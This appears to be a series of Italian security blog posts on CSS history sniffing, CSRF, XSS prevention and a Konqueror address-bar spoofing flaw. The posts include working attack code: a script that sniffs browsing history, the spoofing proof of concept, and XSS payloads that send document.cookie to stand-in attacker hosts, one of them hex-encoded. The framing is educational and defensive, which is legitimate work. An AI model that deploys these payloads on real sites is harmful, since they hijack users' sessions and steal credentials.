Css History Hack: discussione e prevenzione

histLa settimana scorsa è spuntato un post nel forum sla.ckers.org che ha attirato subito la mia attenzione. Vista l’impossibilità di accedere all’oggetto history per navigare tra i vari elementi della cronologia, si è pensato ad un metodo alternativo ma molto efficace per accedere ad essa.

Il funzionamento di base è molto semplice e si appoggia su di una funzionalità messa a disposizione dai browser di oggi attraverso i CSS: la specifica a:visited. Cerchiamo di capire meglio con un esempio:

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<head>
<title>Css history</title>
</head>
<body>
<script type=”text/javascript”>
var knownurls = [
http://www.google.it&#8217;, ‘http://www.myspace.com&#8217;,
http://www.yahoo.com&#8217;, ‘http://www.google.com&#8217;,
http://www.twitter.com&#8217;, ‘http://it.netlog.com&#8217;,
http://ha.ckers.org&#8217;, ‘http://seoblackhat.com&#8217;,
http://www.cgisecurity.com&#8217;,  , ‘http://www.facebook.com/home.php&#8217;
];
document.write( ‘<style type=”text/css”>a:link{color:#fff;}’ );
document.write( ‘a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}’ );
document.write( ‘{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>’ );
var output = ‘<h1>Urls riconosciuti</h1><ul>’;
var c = document.createElement(‘div’);
document.body.appendChild(c)
for(i in knownurls){
var anchor=document.createElement(‘a’);
anchor.href=knownurls[i];
anchor.innerHTML=knownurls[i];
c.appendChild(anchor)
if(anchor.offsetHeight==1){
output+='<li>’+knownurls[i]+'</li>’;
}
}
document.write(output+'</ul>’);
</script>
</body>
</html>

Questa porzione di codice funziona più o meno in questo modo: ho una lista di url, li stampo in una pagina html e sfrutto il selettore visited. Se l’url è stato visitato dalla vittima, la specifica visited fa si che a quello specifico url vengano assegnate delle caratteristiche (via CSS) che lo rendano riconoscibile ed infine lo inserisce nel testo della pagina html. In questo modo aprendo questa pagina con il browser vedremo una lista di url contenente soltanto indirizzi già visitati .

Naturalmente, per ottenere una lista cospicua di siti visitati è bene aggiungere molti elementi all’array knownurls, ad esempio cercando tra  i siti più visitati dagli utenti di alcuni social bookmarking come delicious e digg.

Il codice javascript che riconosce questi url può essere facilmente nascosto ed utilizzato per lanciare automaticamente attacchi di tipo CSRF, poichè c’è una buona probabilità che l’utente abbia una sessione attiva in uno dei siti precedentemente visitati.

Altro pericoloso utilizzo di questa tecnica permette all’attaccante di ottenere un token di sessione propagato via url (una tecnica di protezione piuttosto ambigua che discuterò in un prossimo articolo) .

Alcuni sviluppatori inseriscono un token di conferma per ogni richiesta nell’url, così da rifiutare ogni richiesta non attendibile. Questo implica una diminuzione del traffico indesiderato e delle richieste non autorizzate, ma d’altra parte espone il token di sessione che potrebbe essere salvato dalla cronologia. Quest’ultima, come abbiamo visto, risulta essere vulnerabile quindi ci ritroveremmo con i nostri token di sessione esposti a favore dell’attaccante.

Quest’ultimo, una volta compreso il formato del token, potrebbe  con un semplice script javascript generare migliaia di token in pochi secondi, con una buona probabilità di ottenere il nostro token di sessione e quindi  accedere a dati sensibili.

Ci tengo a ribadire il concetto che session id e tokens sono strumenti di sicurezza, ma anche essi vanno protetti adeguatamente. Perciò vi consiglio di NON propagare il token di sessione via url ma di farlo attraverso campi nascosti di un form e di rigenerarlo il più possibile.

Se siamo utenti, possiamo ricorrere all’estensione per firefox SafeHistory che ci protegge dal tipo di attacco oggetto di questo articolo.

Annunci

Netlog vulnerabile a CSRF

netlog

Proprio di recente mi sono rimesso sui libri, non quelli dell’università perchè quelli non li ho mai lasciati e non lascerò per parecchio tempo,  ma quelli che leggo di notte davanti al pc.

Ho ricominciato la mia serie di pubblicazioni proprio parlando di CSRF e facendo una piccola pausa, ho loggato in Netlog, un social di cui sono membro da ormai più di un anno.

In questo periodo,la mia installazione di firefox è praticamente inutilizzabile per navigare, a causa delle estensioni installate, ma spinto dall’abitudine , ho aperto nelog proprio con firefox  nel quale erano attive Firebug e Webdeveloper.

Dopo poco tempo sono venuto a capo della questione, scoprendo che quella sezione del sito è vulnerabile ad attacchi di tipo CSRF e poichè si tratta di un sito con tantissimi utenti, la faccenda sembra seria. :/

Non posso aggiungere altri dettagli finchè alla Netlog inc (xD) non avranno messo una toppa o finchè non sarà passato troppo tempo.

Pillole contro il mal di XSS

Continua la mia serie di mini articoli sull’argomento XSS, che, a quanto pare, incuriosisce moltissimi naviganti della rete 😀 (mi riferisco alle statistiche dei motori di ricerca 😉 ).

xsswarning.jpg

Questo articolo non è esattamente un tutorial riguardante una tecnica di XSS, ma più che altro una raccolta di pillole di saggezza che tutti dovrebbero assimilare.

  • Controllate la presenza di tags HTML e rendeteli inoffensivi (non del tutto!) con la funzione php strip_tags()
  • Se non potete rimuovere a priori i tag html dalle query, rimpiazzateli con il corrispondente riferimento ad entità: la funzione htmlentities() sostituisce i caratteri “<” e “>” con “<” e “>”
  • Evitate di utilizzare le funzioni include() e require() passando come argomento variabili definite dall’utente, come elementi degli array $_POST $_GET $_REQUEST e $_FILE, potreste dar luogo a vulnerabilità critiche: inclusione di files di installazione del vostro CMS oppure files di configurazione di vario genere contenenti username, password ed altre informazioni importanti.

Filtrate approfonditamente le query, controllando anche la codifica ASCII ed HEX

Attenti all’utilizzo delle MAGIC QUOTES: Un tentativo da parte degli sviluppatori PHP di incrementare la sicurezza di PHP tramite il filtraggio automatico delle stringhe, aggiungendo il carattere di escape. Questa opzione non vi mette al riparo dagli attacchi di XSS e SQL Injection, poiché il controllo può in molti casi essere bypassato. Inoltre, il sistema di MAGIC QUOTES comporta alcuni problemi di portabilità del codice, che potrebbe assumere comportamenti diversi in base alla configurazione della vostra installazione di PHP.

Vulnerabilità Konqueror: SetInterval Function Address Bar URI Spoofing

Creando una pagina HTML appropriata, è possibile sfruttare una vulnerabilità di Konqueror per mettere la vittima dell’exploit davanti ad un URL “trusted” mentre si visualizza un documento che contiene codice maligno.

L’exploit si basa sulla funzione setInterval(), che esegue una funzione o testa una espressione ogni intervallo di tempo:

– setInterval(espressione, tempo)
– setInterval(funzione, tempo, [arg1, …, argN])
Dove:
– funzione è una qualsiasi funzione dichiarata nel documento;
– espressione è una stringa contenente una espressione JavaScript. L’espressione dev’essere quotata, altrimenti setInterval() la esegue immediatamente;
– tempo come già detto è un tempo espresso in millisecondi;
– arg1, …, argN sono opzionali e sono argomenti, se necessari, che vengono passati alla funzione.

Esaminiamo il seguente listato:

<FORM action="http://www.google.com/search" name="form"> 
	<INPUT TYPE=text NAME="q"><BR> 
	<INPUT TYPE=submit VALUE=Search onClick="a=0; location='http://www.google.com/search?q=' + document.form.q.value; return false;"> 
	</FORM> 

<SCRIPT LANGUAGE="JavaScript"> 

function foo() { 
	if (a==1) { 
		a=0; 
		window.location = "http://www.google.com/"; 
		a=1; 
	} 
} 
setInterval("foo()", 0); 

</SCRIPT>

Questo semplice form, non fa altro che refreshare continuamente la pagina contenente il codice javascript, lasciando il browser letteralmente intrappolato in essa mentre l’utente crede di aver cambiato posizione. In questo modo è possibile far credere all’utente di essere di fronte ad una pagina sicura e conosciuta, mentre si visualizza un documento qualsiasi, magari creato ad hoc per imitare un sito noto.
Questa vulnerabilità riguardale versioni 3.5.7 non patchate di Konqueror e potrebbe essere sfruttata ad esmepio per raccogliereusername e passwords delgi utenti Hotmail e Gmail, mostrando un URL autentico, ma una pagina clone dell’originale (occhio con i problemi legati all’utilizzo dei simboli coperti da Copyright).

Good Hacking e FATE I BRAVI (già che la gente fa schifo, almeno noi cerchiamo di migliorare il mondo , evitando di creare problemi agli altri).

Riferimenti:

XSS: Cookie Stealing

Con il primo articolo sul XSS, abbiamo dato un’ occhiata in superficie a questa tecnica che permette di modificare a proprio piacimento il flusso
delle pagine Web. Non abbiamo però toccato un argomento di vitale importanza per la sicurezza dei siti Web: il cookie stealing

Con cookie stealing si vuole indicare quell’insieme di tecniche che permettono di ottenere i cookie salvati durante le sessioni di navigazione su internet: Username, Password, eMail, Carrelli dei negozi online e tante altre informazioni così dette “sensibili”.
Se queste informazioni dovessero cadere in mani sbagliate, come si suol dire, sono cazzi! 😀

Ecco un semplicissimo esempio di XSS cookie stealing, che dovrebbe essere bloccato da qualunque check (mi rivolgo ai webmaster pigri di tutto il mondo):

<SCRIPT> window.location="http://www.sitoladro.com/ruba.php?data=" + document.cookie </SCRIPT>

Riuscire a portare a termine questo XSS in una pagina che permette di renderlo persistente, comporterebbe furti di informazioni per tutti gli utenti abituali del sito!!, pensate cosa potrebbe causare un blog famoso con un guestbook fallato :D…. grasse risate (non per l’admin).

Ecco alcune tecniche più eleganti di XSS per il Cookie Stealing:
XSS convertito in HEX:

%3c%53%43%52%49%50%54%3e%20%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%73%69%74%6f%6c%61%64%72%6f%2e%63%6f%6d%2f%72%75%62%61%2e%70%68%70%3f%64%61%74%61%3d%22%20%2b%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%20%3c%2f%53%43%52%49%50%54%3e

XSS filtrato con CSS:


<style> 

 .stealcookies{background-image:url('javascript:new Image().src="http://www.iorubo.com?data=" mce_src="http://www.iorubo.com?data="+encodeURI(document.cookie);');} 

 </style> 

 <p class="stealcookies"></p>

 

Richiesta immagine :


<script> 

 new Image().src="http://www.iohakkotuttiquanti.com/hack.php?c=" mce_src="http://www.iohaccotuttiquanti.com/hack.php?c="+encodeURI(document.cookie); 

 </script>

Spero che con queste informazioni riusciate a scrivere funzioni più sicure per i vostri siti 😉 bastano veramente poche accortezze per evitare molti problemi !!

Introduzione alle tecniche di XSS

XSS sta per Cross Site Scripting, ed è una tecnica molto utilizzata per deviare l’ordinario funzionamento di alcuni siti internet che non sono stati adeguatamente programmati. Si basa sull’immissione di codice arbitrario all’interno di un URL o comunque di una variabile processata da un server web o da una pagina html.

Le tecniche di XSS sono moltissime e la complessità aumenta con l’evolversi dei sistemi di protezione.
Esaminiamo il seguente script php:

echo $_POST["stringa"];

Molto semplicemente, visualizza la variabile post chiamata stringa, senza eseguire alcun controllo su di essa (assoumiamo che il form non abbia eseguito alcun tipo di controllo sul testo immesso). Chiunque conosca un pizzico di javascript potrebbe inserire codice arbitrario e modificare il comportamento della pagina!
A questo punto potreste pensare che non si tratta di un grande problema, perchè una volta eseguito il refresh della pagina senza inviare nuovamente i dati POST, la variabile si svuoterebbe, ma nel caso di un guestbook? o di un commento ad un post? sarebbe parecchio problematico avere uno script javascript persistente che agisce ad ogni visualizzazione della pagina: con una riga di javascript potremmo eseguire il reindirizzamento del browser, rendendo praticamente inutilizzabile la pagina.

Ad esempio, la seguente riga di codice javascript, emette uno warning, se utilizzato in uno dei contesti di cui parlavo prima non impedirebbe l’accesso alla pagina, ma farebbe veramente girare le scatole allo staff 😉

<SCRIPT>alert()</SCRIPT>

Questo messaggio di allarme non mostra alcun testo, ma aumenta le probabilità di riuscita del XSS, in quanto non usa gli apici, che di solito vengono convertiti rendendo la nostra stringa Javascript mal-formattata ed ignorata dal browser.
Ecco un esempio più efficace:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

Questo script sfrutta una caratteristica dei motori javascript introdotta per ridurre gli errori di coding, permettendo una sintassi errata possiamo nascondere il codice javascript con tanto di apici dentro gli apici di formattazione del tag <IMG>.

Queste sono solo l’1% delle tecniche di XSS conosciute, anche perchè ogni browser ha delle precise caratteristiche che lo rendono diverso da ogni altro (agli occhi attenti dell’hacker 😉 ).

Ecco alcuni links utili: